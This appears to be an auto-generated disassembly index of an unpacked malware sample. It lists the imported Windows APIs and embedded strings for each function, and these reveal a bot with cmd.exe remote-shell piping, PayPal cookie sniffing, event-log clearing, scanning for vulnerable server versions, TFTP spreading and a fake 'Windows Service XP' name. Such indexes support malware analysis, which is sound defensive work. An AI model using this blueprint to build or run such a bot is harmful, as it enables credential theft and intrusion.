"tzset.c"
</font></pre></td></tr><tr id="sub_40C021"><td><pre><a name="sub_40C021"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40C021"><font size=+2>sub_40C021</a>(9078)</font>:<font color=darkgreen>
KERNEL32.CreateThread
KERNEL32.Sleep
KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_408F54"><td><pre><a name="sub_408F54"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_408F54"><font size=+2>sub_408F54</a>(912e)</font>:<font color=darkgreen>
KERNEL32.GetModuleHandleA
KERNEL32.GetProcAddress
NTDLL.RtlGetLastWin32Error
KERNEL32.LoadLibraryA</font>
<font color=brown>
"kernel32.dll"
"SetErrorMode"
"CreateToolhelp32Snapshot"
"Process32First"
"GetDiskFreeSpaceExA"
"GetLogicalDriveStringsA"
"SearchPathA"
"QueryPerformanceCounter"
"QueryPerformanceFrequency"
"RegisterServiceProcess"
"user32.dll"
"SendMessageA"
"FindWindowA"
"IsWindow"
"GetClipboardData"
"CloseClipboard"
"advapi32.dll"
"RegCreateKeyExA"
"RegSetValueExA"
"RegQueryValueExA"
"RegDeleteValueA"
"RegCloseKey"
"ClearEventLogA"
"OpenProcessToken"
"LookupPrivilegeValueA"
"AdjustTokenPrivileges"
"OpenSCManagerA"
"OpenServiceA"
"ControlService"
"CloseServiceHandle"
"EnumServicesStatusA"
"IsValidSecurityDescriptor"
"GetUserNameA"
"gdi32.dll"
"CreateDCA"
"CreateDIBSection"
"CreateCompatibleDC"
"GetDIBColorTable"
"SelectObject"
"BitBlt"
"DeleteDC"
"DeleteObject"
"ws2_32.dll"
"WSAStartup"
"WSASocketA"
"WSAAsyncSelect"
"__WSAFDIsSet"
"WSAIoctl"
"WSAGetLastError"
"WSACleanup"
"socket"
"ioctlsocket"
"connect"
"inet_ntoa"
"inet_addr"
"htons"
"htonl"
"ntohs"
"ntohl"
"send"
"sendto"
"recv"
"recvfrom"
"bind"
"select"
"listen"
"accept"
"setsockopt"
"getsockname"
"gethostname"
"getpeername"
"closesocket"
"wininet.dll"
"InternetGetConnectedState"
"InternetGetConnectedStateEx"
"HttpOpenRequestA"
"HttpSendRequestA"
"InternetConnectA"
"InternetOpenUrlA"
"InternetCrackUrlA"
"InternetReadFile"
"InternetCloseHandle"
"Mozilla/4.0 (compatible)"
"icmp.dll"
"IcmpCreateFile"
"IcmpCloseHandle"
"IcmpSendEcho"
"netapi32.dll"
"NetShareAdd"
"NetShareDel"
"NetShareEnum"
"NetScheduleJobAdd"
"NetApiBufferFree"
"NetRemoteTOD"
"NetUserAdd"
"NetUserDel"
"NetUserEnum"
"NetUserGetInfo"
"NetMessageBufferSend"
"NetWkstaGetInfo"
"dnsapi.dll"
"DnsFlushResolverCache"
"DnsFlushResolverCacheEntry_A"
"iphlpapi.dll"
"DeleteIpNetEntry"
"mpr.dll"
"WNetAddConnection2A"
"WNetAddConnection2W"
"WNetCancelConnection2A"
"WNetCancelConnection2W"
"shell32.dll"
"SHChangeNotify"
"odbc32.dll"
"SQLDriverConnect"
"SQLAllocHandle"
</font></pre></td></tr><tr id="sub_41FB40"><td><pre><a name="sub_41FB40"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41FB40"><font size=+2>sub_41FB40</a>(92b5)</font>:<font color=darkgreen>
KERNEL32.InitializeCriticalSection
NTDLL.RtlEnterCriticalSection</font>
<font color=brown>
"mlock.c"
</font></pre></td></tr><tr id="sub_40E017"><td><pre><a name="sub_40E017"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40E017"><font size=+2>sub_40E017</a>(93b1)</font>:<font color=darkgreen>
KERNEL32.CreatePipe
KERNEL32.GetCurrentProcess
KERNEL32.DuplicateHandle
KERNEL32.CreateProcessA
KERNEL32.CreateThread
KERNEL32.WaitForSingleObject
KERNEL32.TerminateThread
KERNEL32.CloseHandle
KERNEL32.TerminateProcess</font>
<font color=brown>
"cmd.exe"
</font></pre></td></tr><tr id="sub_414869"><td><pre><a name="sub_414869"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_414869"><font size=+2>sub_414869</a>(9591)</font>:<font color=brown>
"%s\\%s"
"r"
"="
"="
</font></pre></td></tr><tr id="sub_4183EC"><td><pre><a name="sub_4183EC"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4183EC"><font size=+2>sub_4183EC</a>(963b)</font>:<font color=darkgreen>
KERNEL32.GetTickCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_40EAD9"><td><pre><a name="sub_40EAD9"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40EAD9"><font size=+2>sub_40EAD9</a>(9713)</font>:<font color=darkgreen>
WS2_32.WSAStartup
WS2_32.socket
WS2_32.inet_addr
WS2_32.htons
WS2_32.connect
WS2_32.closesocket
WS2_32.WSACleanup</font>
<font color=brown></font></pre></td></tr><tr id="sub_40EBF0"><td><pre><a name="sub_40EBF0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40EBF0"><font size=+2>sub_40EBF0</a>(97b0)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown>
"GET "
" "
" "
"GET "
"\r\n"
</font></pre></td></tr><tr id="sub_41B600"><td><pre><a name="sub_41B600"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41B600"><font size=+2>sub_41B600</a>(994a)</font>:<font color=darkgreen>
KERNEL32.GetCurrentProcess
KERNEL32.TerminateProcess
KERNEL32.ExitProcess</font>
<font color=brown></font></pre></td></tr><tr id="sub_40BC04"><td><pre><a name="sub_40BC04"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40BC04"><font size=+2>sub_40BC04</a>(9b43)</font>:<font color=darkgreen>
NTDLL.RtlDeleteCriticalSection
KERNEL32.InitializeCriticalSectionAndSpinCount
KERNEL32.CreateThread
KERNEL32.Sleep
NTDLL.RtlGetLastWin32Error
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_417380"><td><pre><a name="sub_417380"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_417380"><font size=+2>sub_417380</a>(9bb4)</font>:<font color=brown>
"Invalid parameter."
"Server name not found."
"This network request is not supported."
"Not enough memory."
"The name is invalid."
"Duplicate share name."
"Invalid for redirected resource."
"Device or directory does not exist."
"Level parameter is invalid."
"A general failure occurred in the netwo"...
"The operation is allowed only on the pr"...
"The user account already exists."
"The group already exists."
"The password is shorter than required ("...
"An unknown error occurred."
"The computer name is invalid."
"Share not found."
"The user name could not be found."
"Network connection not found."
</font></pre></td></tr><tr id="sub_432A70"><td><pre><a name="sub_432A70"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_432A70"><font size=+2>sub_432A70</a>(9bcf)</font>:<font color=darkgreen>
KERNEL32.InterlockedIncrement
KERNEL32.InterlockedDecrement</font>
<font color=brown></font></pre></td></tr><tr id="sub_41FBE0"><td><pre><a name="sub_41FBE0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41FBE0"><font size=+2>sub_41FBE0</a>(9bd1)</font>:<font color=darkgreen>
NTDLL.RtlLeaveCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_416138"><td><pre><a name="sub_416138"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_416138"><font size=+2>sub_416138</a>(9dbe)</font>:<font color=brown>
"SeShutdownPrivilege"
</font></pre></td></tr><tr id="sub_42BE80"><td><pre><a name="sub_42BE80"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42BE80"><font size=+2>sub_42BE80</a>(9e7c)</font>:<font color=darkgreen>
KERNEL32.WriteFile
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_4345C0"><td><pre><a name="sub_4345C0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4345C0"><font size=+2>sub_4345C0</a>(a18e)</font>:<font color=darkgreen>
KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_41ABF0"><td><pre><a name="sub_41ABF0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41ABF0"><font size=+2>sub_41ABF0</a>(a1d1)</font>:<font color=brown>
"%.2X "
" Data: <%s> %s\n"
</font></pre></td></tr><tr id="sub_40D46C"><td><pre><a name="sub_40D46C"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40D46C"><font size=+2>sub_40D46C</a>(a214)</font>:<font color=darkgreen>
KERNEL32.CreateFileA
KERNEL32.WriteFile
KERNEL32.CloseHandle
KERNEL32.ReadFile
KERNEL32.CreateEventA
NTDLL.RtlGetLastWin32Error
KERNEL32.WaitForSingleObject</font>
<font color=brown>
"."
"\\\\%s\\ipc$"
"\\\\%s\\pipe\\browser"
</font></pre></td></tr><tr id="sub_4294B0"><td><pre><a name="sub_4294B0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4294B0"><font size=+2>sub_4294B0</a>(a29e)</font>:<font color=brown>
"ftell.c"
</font></pre></td></tr><tr id="sub_40C8D4"><td><pre><a name="sub_40C8D4"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40C8D4"><font size=+2>sub_40C8D4</a>(a2f7)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_413794"><td><pre><a name="sub_413794"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_413794"><font size=+2>sub_413794</a>(a33a)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_41055F"><td><pre><a name="sub_41055F"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41055F"><font size=+2>sub_41055F</a>(a3e1)</font>:<font color=darkgreen>
KERNEL32.ExitThread
KERNEL32.SetConsoleCtrlHandler
NTDLL.RtlGetLastWin32Error
KERNEL32.CreateThread
KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_41FD20"><td><pre><a name="sub_41FD20"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41FD20"><font size=+2>sub_41FD20</a>(a50f)</font>:<font color=darkgreen>
NTDLL.RtlReAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_429EE0"><td><pre><a name="sub_429EE0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_429EE0"><font size=+2>sub_429EE0</a>(a7d8)</font>:<font color=darkgreen>
KERNEL32.GetModuleFileNameA</font>
<font color=brown>
"C:\\m_unpacker\\packed.exe"
"C:\\m_unpacker\\packed.exe"
</font></pre></td></tr><tr id="sub_417200"><td><pre><a name="sub_417200"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_417200"><font size=+2>sub_417200</a>(a909)</font>:<font color=brown>
"Username accounts for local system:"
" %S"
"Total users found: %d."
</font></pre></td></tr><tr id="sub_42F970"><td><pre><a name="sub_42F970"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42F970"><font size=+2>sub_42F970</a>(a95f)</font>:<font color=darkgreen>
KERNEL32.GetCPInfo</font>
<font color=brown>
"initctyp.c"
"initctyp.c"
"initctyp.c"
"initctyp.c"
</font></pre></td></tr><tr id="sub_416679"><td><pre><a name="sub_416679"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_416679"><font size=+2>sub_416679</a>(a9bc)</font>:<font color=darkgreen>
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F051"><td><pre><a name="sub_40F051"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40F051"><font size=+2>sub_40F051</a>(ab95)</font>:<font color=darkgreen>
KERNEL32.GetDateFormatA
KERNEL32.GetTimeFormatA
KERNEL32.ExitThread</font>
<font color=brown>
"text/html"
"application/octet-stream"
"ddd, dd MMM yyyy"
"HH:mm:ss"
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
</font></pre></td></tr><tr id="sub_42B740"><td><pre><a name="sub_42B740"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42B740"><font size=+2>sub_42B740</a>(ad38)</font>:<font color=darkgreen>
KERNEL32.InitializeCriticalSection
NTDLL.RtlEnterCriticalSection
NTDLL.RtlLeaveCriticalSection</font>
<font color=brown>
"osfinfo.c"
</font></pre></td></tr><tr id="sub_42DE30"><td><pre><a name="sub_42DE30"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42DE30"><font size=+2>sub_42DE30</a>(adf0)</font>:<font color=darkgreen>
KERNEL32.SetUnhandledExceptionFilter</font>
<font color=brown></font></pre></td></tr><tr id="sub_401317"><td><pre><a name="sub_401317"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_401317"><font size=+2>sub_401317</a>(af91)</font>:<font color=darkgreen>
KERNEL32.Sleep
KERNEL32.GetSystemDirectoryA
KERNEL32.GetModuleFileNameA
KERNEL32.CreateProcessA
KERNEL32.CloseHandle
KERNEL32.ExitProcess</font>
<font color=brown></font></pre></td></tr><tr id="sub_4305C0"><td><pre><a name="sub_4305C0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4305C0"><font size=+2>sub_4305C0</a>(af9d)</font>:<font color=darkgreen>
KERNEL32.EnumSystemLocalesA</font>
<font color=brown></font></pre></td></tr><tr id="sub_416B67"><td><pre><a name="sub_416B67"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_416B67"><font size=+2>sub_416B67</a>(afa1)</font>:<font color=darkgreen>
KERNEL32.MultiByteToWideChar</font>
<font color=brown></font></pre></td></tr><tr id="sub_41B740"><td><pre><a name="sub_41B740"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41B740"><font size=+2>sub_41B740</a>(afb7)</font>:<font color=brown>
"string != NULL"
"sprintf.c"
"format != NULL"
"sprintf.c"
</font></pre></td></tr><tr id="sub_42B930"><td><pre><a name="sub_42B930"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42B930"><font size=+2>sub_42B930</a>(b20e)</font>:<font color=darkgreen>
KERNEL32.SetStdHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_4112A8"><td><pre><a name="sub_4112A8"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4112A8"><font size=+2>sub_4112A8</a>(b25f)</font>:<font color=darkgreen>
KERNEL32.Sleep
KERNEL32.ExitThread</font>
<font color=brown>
"rb"
"Tftp transfer started to: %s"
"Tftp transfer complete to: %s"
</font></pre></td></tr><tr id="sub_412C36"><td><pre><a name="sub_412C36"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_412C36"><font size=+2>sub_412C36</a>(b2d9)</font>:<font color=darkgreen>
KERNEL32.QueryPerformanceFrequency
KERNEL32.QueryPerformanceCounter</font>
<font color=brown></font></pre></td></tr><tr id="sub_414FC5"><td><pre><a name="sub_414FC5"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_414FC5"><font size=+2>sub_414FC5</a>(b2db)</font>:<font color=brown>
"Cdrom"
"Network"
"Disk"
"Invalid"
"Unknown"
</font></pre></td></tr><tr id="sub_42DE50"><td><pre><a name="sub_42DE50"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42DE50"><font size=+2>sub_42DE50</a>(b3eb)</font>:<font color=darkgreen>
KERNEL32.SetUnhandledExceptionFilter</font>
<font color=brown></font></pre></td></tr><tr id="sub_40AFA4"><td><pre><a name="sub_40AFA4"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40AFA4"><font size=+2>sub_40AFA4</a>(b4ec)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_41EED0"><td><pre><a name="sub_41EED0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41EED0"><font size=+2>sub_41EED0</a>(b61d)</font>:<font color=darkgreen>
KERNEL32.InterlockedIncrement
KERNEL32.LoadLibraryA
KERNEL32.GetProcAddress
KERNEL32.OutputDebugStringA
KERNEL32.InterlockedDecrement
KERNEL32.WriteFile</font>
<font color=brown>
"user32.dll"
"wsprintfA"
"Second Chance Assertion Failed: File %s"...
"_CrtDbgReport: String too long or IO Er"...
"Assertion failed: "
"Assertion failed!"
"\r"
"\n"
"%s(%d) : %s"
"_CrtDbgReport: String too long or IO Er"...
</font></pre></td></tr><tr id="sub_4199B0"><td><pre><a name="sub_4199B0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4199B0"><font size=+2>sub_4199B0</a>(b6b2)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook free failure.\n"
"%s"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
"dbgheap.c"
"DAMAGE: before %hs block (#%d) at 0x%08"...
"DAMAGE: after %hs block (#%d) at 0x%08X"...
"pHead->nLine == IGNORE_LINE && pHead->l"...
"dbgheap.c"
"pHead->nBlockUse == nBlockUse"
"dbgheap.c"
"_pLastBlock == pHead"
"dbgheap.c"
"_pFirstBlock == pHead"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_41B910"><td><pre><a name="sub_41B910"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41B910"><font size=+2>sub_41B910</a>(b784)</font>:<font color=brown>
"string != NULL"
"sprintf.c"
"format != NULL"
"sprintf.c"
</font></pre></td></tr><tr id="sub_41D860"><td><pre><a name="sub_41D860"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41D860"><font size=+2>sub_41D860</a>(b786)</font>:<font color=brown>
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
</font></pre></td></tr><tr id="sub_419DC0"><td><pre><a name="sub_419DC0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_419DC0"><font size=+2>sub_419DC0</a>(b86e)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
"dbgheap.c"
"pHead->nBlockUse == nBlockUse"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_411948"><td><pre><a name="sub_411948"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_411948"><font size=+2>sub_411948</a>(b9cf)</font>:<font color=brown>
"HTTP sniff"
"#dd"
"paypal"
"PAYPAL"
"PAYPAL.COM"
"paypal.com"
"Set-Cookie:"
</font></pre></td></tr><tr id="sub_41473A"><td><pre><a name="sub_41473A"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41473A"><font size=+2>sub_41473A</a>(ba2e)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_41A4A0"><td><pre><a name="sub_41A4A0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41A4A0"><font size=+2>sub_41A4A0</a>(ba80)</font>:<font color=darkgreen>
KERNEL32.IsBadReadPtr
KERNEL32.IsBadWritePtr</font>
<font color=brown></font></pre></td></tr><tr id="sub_422190"><td><pre><a name="sub_422190"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_422190"><font size=+2>sub_422190</a>(bae6)</font>:<font color=darkgreen>
KERNEL32.ReadFile
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_413B08"><td><pre><a name="sub_413B08"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_413B08"><font size=+2>sub_413B08</a>(bbd6)</font>:<font color=darkgreen>
WS2_32.inet_addr
KERNEL32.GetTickCount</font>
<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_417572"><td><pre><a name="sub_417572"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_417572"><font size=+2>sub_417572</a>(bbe1)</font>:<font color=darkgreen>
KERNEL32.GetCurrentProcess
KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_4019E1"><td><pre><a name="sub_4019E1"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4019E1"><font size=+2>sub_4019E1</a>(bc9b)</font>:<font color=darkgreen>
KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_40FB05"><td><pre><a name="sub_40FB05"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40FB05"><font size=+2>sub_40FB05</a>(c265)</font>:<font color=darkgreen>
KERNEL32.CreateFileA
KERNEL32.GetFileSize
KERNEL32.SetFilePointer
KERNEL32.ReadFile
KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_430DB0"><td><pre><a name="sub_430DB0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_430DB0"><font size=+2>sub_430DB0</a>(c3bb)</font>:<font color=darkgreen>
KERNEL32.SetEndOfFile
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_40AD51"><td><pre><a name="sub_40AD51"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40AD51"><font size=+2>sub_40AD51</a>(c3fd)</font>:<font color=brown>
" Total: %d in %s."
</font></pre></td></tr><tr id="sub_42A610"><td><pre><a name="sub_42A610"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42A610"><font size=+2>sub_42A610</a>(c510)</font>:<font color=darkgreen>
KERNEL32.GetStartupInfoA
KERNEL32.GetFileType
KERNEL32.GetStdHandle
KERNEL32.LockResource</font>
<font color=brown></font></pre></td></tr><tr id="sub_4200C0"><td><pre><a name="sub_4200C0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4200C0"><font size=+2>sub_4200C0</a>(c575)</font>:<font color=darkgreen>
KERNEL32.HeapCreate
KERNEL32.HeapDestroy</font>
<font color=brown></font></pre></td></tr><tr id="sub_4175DD"><td><pre><a name="sub_4175DD"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4175DD"><font size=+2>sub_4175DD</a>(c584)</font>:<font color=darkgreen>
KERNEL32.lstrcmpi
KERNEL32.OpenProcess
KERNEL32.TerminateProcess
KERNEL32.CloseHandle</font>
<font color=brown>
"SeDebugPrivilege"
" %s (%d)"
" %s (%d)"
" %s (%d)"
"SeDebugPrivilege"
</font></pre></td></tr><tr id="sub_41A690"><td><pre><a name="sub_41A690"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41A690"><font size=+2>sub_41A690</a>(c585)</font>:<font color=brown>
"_CrtMemCheckPoint: NULL state pointer.\n"...
"%s"
"Bad memory block found at 0x%08X.\n"
</font></pre></td></tr><tr id="sub_40CAE9"><td><pre><a name="sub_40CAE9"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40CAE9"><font size=+2>sub_40CAE9</a>(c86d)</font>:<font color=brown>
"GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
</font></pre></td></tr><tr id="sub_401000"><td><pre><a name="sub_401000"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_401000"><font size=+2>sub_401000</a>(c8ef)</font>:<font color=brown>
"Windows Service XP"
</font></pre></td></tr><tr id="sub_424CA0"><td><pre><a name="sub_424CA0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_424CA0"><font size=+2>sub_424CA0</a>(ca7d)</font>:<font color=brown>
"format != NULL"
"input.c"
"input.c"
</font></pre></td></tr><tr id="sub_40A112"><td><pre><a name="sub_40A112"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40A112"><font size=+2>sub_40A112</a>(cb72)</font>:<font color=darkgreen>
KERNEL32.GetTickCount</font>
<font color=brown>
"%s"
"%s%i"
</font></pre></td></tr><tr id="sub_41A4F0"><td><pre><a name="sub_41A4F0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41A4F0"><font size=+2>sub_41A4F0</a>(cbb3)</font>:<font color=darkgreen>
KERNEL32.HeapValidate</font>
<font color=brown></font></pre></td></tr><tr id="sub_435650"><td><pre><a name="sub_435650"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_435650"><font size=+2>sub_435650</a>(cc1e)</font>:<font color=brown>
"invalid string position"
</font></pre></td></tr><tr id="sub_413FFA"><td><pre><a name="sub_413FFA"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_413FFA"><font size=+2>sub_413FFA</a>(cde1)</font>:<font color=darkgreen>
WS2_32.WSASocketA
KERNEL32.GetTickCount
KERNEL32.Sleep</font>
<font color=brown>
" "
"%s%d "
</font></pre></td></tr><tr id="sub_42B680"><td><pre><a name="sub_42B680"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42B680"><font size=+2>sub_42B680</a>(ced4)</font>:<font color=darkgreen>
KERNEL32.LoadLibraryA
KERNEL32.GetProcAddress</font>
<font color=brown>
"user32.dll"
"MessageBoxA"
"GetActiveWindow"
"GetLastActivePopup"
</font></pre></td></tr><tr id="sub_4119CF"><td><pre><a name="sub_4119CF"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4119CF"><font size=+2>sub_4119CF</a>(cfb4)</font>:<font color=brown>
"VULN sniff"
"#dd"
"OpenSSL/0.9.6"
"Serv-U FTP Server"
"OpenSSH_2"
</font></pre></td></tr><tr id="sub_41D0A0"><td><pre><a name="sub_41D0A0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41D0A0"><font size=+2>sub_41D0A0</a>(d49f)</font>:<font color=darkgreen>
NTDLL.RtlUnwind</font>
<font color=brown></font></pre></td></tr><tr id="sub_42FDA0"><td><pre><a name="sub_42FDA0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42FDA0"><font size=+2>sub_42FDA0</a>(d600)</font>:<font color=darkgreen>
KERNEL32.IsValidCodePage
KERNEL32.IsValidLocale</font>
<font color=brown></font></pre></td></tr><tr id="sub_412A93"><td><pre><a name="sub_412A93"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_412A93"><font size=+2>sub_412A93</a>(d826)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.ioctlsocket
WS2_32.connect
KERNEL32.Sleep
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_42C970"><td><pre><a name="sub_42C970"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42C970"><font size=+2>sub_42C970</a>(d8b8)</font>:<font color=darkgreen>
KERNEL32.InterlockedIncrement
KERNEL32.InterlockedDecrement</font>
<font color=brown></font></pre></td></tr><tr id="sub_415357"><td><pre><a name="sub_415357"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_415357"><font size=+2>sub_415357</a>(d935)</font>:<font color=brown>
"\n"
</font></pre></td></tr><tr id="sub_4164D5"><td><pre><a name="sub_4164D5"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4164D5"><font size=+2>sub_4164D5</a>(d9a5)</font>:<font color=darkgreen>
KERNEL32.GetVersionExA
KERNEL32.LoadLibraryA
KERNEL32.GetProcAddress
KERNEL32.GetTickCount
KERNEL32.FreeLibrary</font>
<font color=brown>
"netapi32.dll"
"NetMessageBufferSend"
</font></pre></td></tr><tr id="sub_412655"><td><pre><a name="sub_412655"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_412655"><font size=+2>sub_412655</a>(da39)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_427520"><td><pre><a name="sub_427520"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_427520"><font size=+2>sub_427520</a>(db6b)</font>:<font color=brown>
"e+000"
</font></pre></td></tr><tr id="sub_4201E0"><td><pre><a name="sub_4201E0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4201E0"><font size=+2>sub_4201E0</a>(db76)</font>:<font color=darkgreen>
NTDLL.RtlAllocateHeap</font>
